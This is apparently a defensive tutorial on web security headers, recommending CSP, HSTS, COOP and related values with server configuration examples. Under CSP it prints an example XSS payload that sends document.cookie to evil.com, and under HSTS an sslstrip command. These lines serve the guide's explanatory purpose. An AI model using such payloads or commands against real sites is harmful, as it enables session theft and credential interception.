The Ultimate Guide to Web Security Headers

Security headers are one of the simplest yet most impactful controls for strengthening a web application's client-side security posture. Even organizations with mature CI/CD pipelines and robust backend architectures often overlook critical headers like CSP, HSTS, COOP, or CORP—leaving their applications vulnerable to modern browser-based attacks such as cross-site scripting, clickjacking, cross-origin data leakage, and SSL stripping.

This guide serves as a deep, technical, auditor-level reference, explaining each critical header, why browsers enforce them, how attackers exploit misconfigurations, and how to correctly deploy them across Nginx, Apache, and Cloudflare.

Security headers guide how the browser behaves—what it should load, block, trust, or isolate—giving defenders control even when partial vulnerabilities exist.

1. Content-Security-Policy (CSP)

CSP is the most powerful browser-enforced protection against XSS and data injection. It instructs the browser which scripts, styles, images, frames, fonts, or connections are allowed. Without CSP, a single DOM XSS anywhere in your application can lead to credential theft, session hijacking, fake login pages, CSRF bypass, and sensitive data exfiltration.

Typical Attack Scenario

An attacker injects JavaScript via a vulnerable input field:

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

If CSP is not enforced or uses weak rules like 'unsafe-inline' or wildcards—this script executes immediately.

A strict CSP blocks the script, preventing execution.

Recommended Strict CSP

Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:;
connect-src 'self'; font-src 'self'; base-uri 'self'; frame-ancestors 'none'; object-src 'none';
form-action 'self'; require-trusted-types-for 'script'; trusted-types default;

This sharply reduces the attack surface by forcing developers to avoid inline scripts and external untrusted content.

Server Configuration

Nginx:

add_header Content-Security-Policy "default-src 'none'; script-src 'self'; ...";

Apache:

Header set Content-Security-Policy "default-src 'none'; script-src 'self'; ..."

Cloudfare:
Using Transform rule, add this as a Set static response header:
Header Name: Content-Security-Policy
Header Value : default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';...

2. Strict-Transport-Security (HSTS)

HSTS ensures the browser exclusively uses HTTPS, eliminating any HTTP fallback. Without HSTS, attackers performing man-in-the-middle attacks can downgrade secure connections to plaintext using SSL stripping techniques.

Typical Attack

On open Wi-Fi (cafe, airport), attacker uses:

sslstrip -l 8080

User visits http://example.com → attacker serves fake login page → credentials stolen.

Mitigation

Once HSTS is active, the browser refuses to connect over HTTP, even before contacting the server.

Recommended Value

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

3. X-Content-Type-Options

Browsers sometimes “sniff” content types to guess file formats. Attackers exploit this by uploading malicious files disguised as images or text.

Example:

payload.svg containing JavaScript may execute as a script in some browsers.

nosniff forces strict MIME type validation.

Recommended Value

X-Content-Type-Options: nosniff

4. X-Frame-Options / frame-ancestors

These prevent clickjacking by blocking your site from loading inside iframes.

Attack Example

A banking site embedded in an invisible iframe with overlaid buttons.
User thinks they’re clicking "Play Video", but they’re actually clicking “Transfer Funds” below the overlay.

Mitigation

X-Frame-Options: DENY

or modern approach via CSP:

frame-ancestors 'none';

5. Referrer-Policy

Controls how much sensitive information leaks through the Referer header.

URLs often contain:

• session IDs

• email addresses

• internal paths

• JWT tokens

• order IDs

Leaking this to third-party domains can lead to major privacy breaches.

Recommended Value

Referrer-Policy: strict-origin-when-cross-origin

6. Permissions-Policy

This header restricts browser features such as:

• camera

• microphone

• geolocation

• gyroscope

• fullscreen

• clipboard-write

• payment request API

If a compromised script or malicious iframe attempts access, the browser blocks it.

Recommended Value

Permissions-Policy: geolocation=(), microphone=(), camera=()

7. COOP — Cross-Origin-Opener-Policy

COOP isolates your browsing context from other tabs. Without COOP, attackers can launch XS-Leaks attacks that infer sensitive information through side-channels.

Recommended Value

Cross-Origin-Opener-Policy: same-origin

8. COEP — Cross-Origin-Embedder-Policy

COEP ensures your application only embeds cross-origin content that is explicitly allowed through CORS or CORP.

Why it’s important

Without COEP, attackers can smuggle malicious iframes or shared memory operations.

Recommended Value

Cross-Origin-Embedder-Policy: require-corp

9. CORP — Cross-Origin-Resource-Policy

Controls how other origins consume your resources (images, fonts, scripts).

Recommended Value

Cross-Origin-Resource-Policy: same-site

Complete Summary Table

Header	Purpose & Explanation	Usage Example
Content-Security-Policy (CSP)	Helps prevent XSS, data injection, and malicious script execution by restricting allowed sources of scripts, styles, images, etc.	Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
Strict-Transport-Security (HSTS)	Forces the browser to use HTTPS, protecting users from SSL stripping and downgrade attacks.	Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options	Prevents clickjacking by blocking the page from being embedded in iframes.	X-Frame-Options: DENY
X-Content-Type-Options	Stops MIME-type sniffing so the browser interprets files only as declared, reducing attack surface.	X-Content-Type-Options: nosniff
Referrer-Policy	Controls how much referrer info is shared across requests, protecting user privacy.	Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy	Restricts access to browser features like camera, geolocation, microphone, etc.	Permissions-Policy: camera=(), geolocation=(), microphone=()
Cross-Origin-Opener-Policy (COOP)	Isolates browsing context to prevent cross-origin attacks such as XS-Leaks.	Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy (COEP)	Ensures resources loaded are CORS-approved or same-origin, enabling secure cross-origin isolation.	Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy (CORP)	Prevents other sites from embedding your resources unless explicitly allowed.	Cross-Origin-Resource-Policy: same-site
X-XSS-Protection	Legacy header for basic XSS filtering (mostly deprecated).	X-XSS-Protection: 1; mode=block

Testing Your Security Headers

Browser Tools

• Chrome DevTools → Network → Response Headers

• Firefox Developer Tools

Online Tools

• Mozilla Observatory

• Hardenize

• SecurityHeaders.com

Command-Line

curl -I https://yourdomain.com

 Burp Suite

• Scanner 

• Proxy → Analyze headers in response

Recommended Enterprise Security Header Bundle

Content-Security-Policy: default-src 'none'; script-src 'self'; object-src 'none';
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-site

Conclusion

Security headers are lightweight, browser-enforced, and extremely powerful. They provide defenses where backend controls and firewalls cannot—especially against XSS, clickjacking, SSL stripping, data exfiltration, and cross-origin attacks.

For auditors and security engineers, enforcing strong security headers is essential for any production application, and misconfigurations should be treated as high-risk vulnerabilities.

✨ Keep learning, keep exploring and keep reading on security.